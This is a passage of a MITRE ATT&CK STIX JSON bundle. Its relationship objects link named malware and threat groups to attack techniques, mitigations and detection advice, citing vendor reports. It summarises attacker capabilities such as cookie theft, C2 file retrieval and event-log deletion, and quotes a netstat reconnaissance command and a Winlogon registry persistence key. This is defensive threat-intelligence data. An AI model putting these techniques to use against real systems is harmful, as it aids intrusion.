2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.671Z","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to delete files.(Citation: FireEye APT17)","relationship_type":"uses","source_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9fe48106-c6e9-4b1a-a274-b35166e082da","created":"2022-08-11T22:18:40.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:24:10.631Z","description":"[PyDCrypt](https://attack.mitre.org/software/S1032) has been compiled and encrypted with PyInstaller, specifically using the --key flag during the build phase.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9fedbd2e-93d1-4693-8365-f25ae4374e6a","created":"2022-10-13T14:51:41.071Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:51:41.071Z","description":"[PcShare](https://attack.mitre.org/software/S1050) can search the registry files of a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9feede0a-38c3-4aa7-8416-c2b0d0d67f83","type":"relationship","created":"2020-10-02T16:54:23.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:54:23.287Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120","target_ref":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fef204f-163a-4c9d-b9b1-8a168074063a","type":"relationship","created":"2017-05-31T21:33:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.573Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to display network connections: netstat -ano >> %temp%\\download(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ff11dd9-23a1-46d9-913d-c580d45667f2","type":"relationship","created":"2019-06-24T13:56:03.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-24T15:06:46.361Z","description":"Minimize permissions and access for service accounts to limit impact of exploitation.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ffa3885-c9ac-4219-8b2d-630588659bc1","created":"2023-09-30T03:26:09.082Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T03:26:09.082Z","description":"Command-line invocation of the `auditctl` utility may be unusual, depending on how systems are typically used in a particular environment. At runtime, look for commands to modify or create rules using the `auditctl` utility. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ffa4f56-8fe5-4439-897d-df432bccb52d","type":"relationship","created":"2020-06-10T17:28:46.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.185Z","description":"[ABK](https://attack.mitre.org/software/S0469) has the ability to download files from C2.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ffa7daa-ce47-4333-87ac-e438b7556b0c","created":"2024-07-25T20:38:59.382Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:39:19.750Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules that can steal cookies from Firefox, Chrome, and Edge web browsers.(Citation: ESET EvasivePanda 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ffc8525-79a5-40a2-b371-46052daf66c5","type":"relationship","created":"2019-06-13T16:04:04.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:48:46.221Z","description":"Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ffd4ba1-1114-4df9-875c-14cacda87b21","type":"relationship","created":"2021-03-24T21:35:27.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-26T20:18:07.166Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has used a legitimate compromised website to download DLLs to the victim's machine.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9ffd6752-5d0f-4108-8cab-8541b54c0434","created":"2020-03-17T00:25:45.291Z","x_mitre_version":"1.0","external_references":[{"source_name":"PWC Cloud Hopper April 2017","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."},{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[menuPass](https://attack.mitre.org/groups/G0045) has staged data on remote MSP systems or other victim networks prior to exfiltration.(Citation: PWC Cloud Hopper April 2017)(Citation: Symantec Cicada November 2020)","modified":"2022-07-20T20:07:40.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0004fa0-4650-4875-aa11-78aa3b34c7ea","created":"2024-05-22T22:44:17.952Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:44:17.952Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) uses a batch script launched via a scheduled task to delete Windows Event Logs.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a000579c-9149-4696-942f-e115d98eb96f","type":"relationship","created":"2021-09-24T21:41:35.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"HackerNews IndigoZebra July 2021","url":"https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html","description":"Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021."},{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-16T02:06:06.612Z","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) created Dropbox accounts for their operations.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0020049-7688-4c0a-8844-dece3bed614c","created":"2022-09-21T21:05:33.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:24:03.847Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) has collected browser bookmark and history information.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0040bac-4445-4999-bf0f-53b340f02218","created":"2022-08-23T14:43:06.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Bumblebee August 2022","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022.","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:04:16.300Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) has been delivered as password-protected zipped ISO files and used control-flow-flattening to obfuscate the flow of functions.(Citation: Proofpoint Bumblebee April 2022)(Citation: Cybereason Bumblebee August 2022)(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0084acb-4ede-4dac-af86-857d5f381dac","type":"relationship","created":"2021-04-07T18:07:47.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:36.993Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has established tmate sessions for C2 communications.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a00bb928-c644-4b77-ae9c-18c3165daa00","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-17T00:47:20.090Z","description":"[CORALDECK](https://attack.mitre.org/software/S0212) searches for specified files.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a01519cd-b198-4c60-a5ed-1ca3528d0606","created":"2019-01-29T20:05:36.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense NanoCore Mar 2018","description":"Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:05:04.343Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) uses VBS files.(Citation: Cofense NanoCore Mar 2018)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T14:45:06.914Z","description":"[Crimson](https://attack.mitre.org/software/S0115) contains a command to retrieve files from its C2 server.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0188e1f-8048-4ade-a1f5-9a56d2fcc2b1","type":"relationship","created":"2020-10-08T18:47:57.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-10-08T18:47:57.462Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has used HTTP for C2 communications.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a01a08e6-3e5a-4674-9d8b-67395fdf9b55","created":"2019-05-02T01:07:36.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Shaheen Nov 2018","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T23:05:01.318Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) creates a Registry key at HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell to survive a system reboot.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a01a5841-8c3a-4cd4-b747-f4333e083924","created":"2024-07-14T21:37:28.653Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-14T21:37:28.653Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) reflectively loads stored, previously encrypted components of the PE file into memory of the currently executing process to avoid writing content to disk on the executing machine.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a01e0e7c-1694-4a6a-8fea-4d4d8a83e034","type":"relationship","created":"2021-07-02T15:00:02.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T15:00:02.347Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use proxy tools including boost_proxy_client for reverse proxy functionality.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a01e5280-ae4f-4edd-bb57-e29e8426cc3b","created":"2022-05-05T17:45:37.112Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can use multiple domains and protocols in C2.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T17:45:37.112Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a01f1d05-a3e6-4ff4-8c8d-6482e582822b","created":"2024-03-21T21:24:21.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T22:42:35.016Z","description":"Monitor for abnormal processes executing under applications with elevated access.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a01fe77e-2091-4938-b639-21d21704c7a2","created":"2024-09-06T22:09:38.906Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian 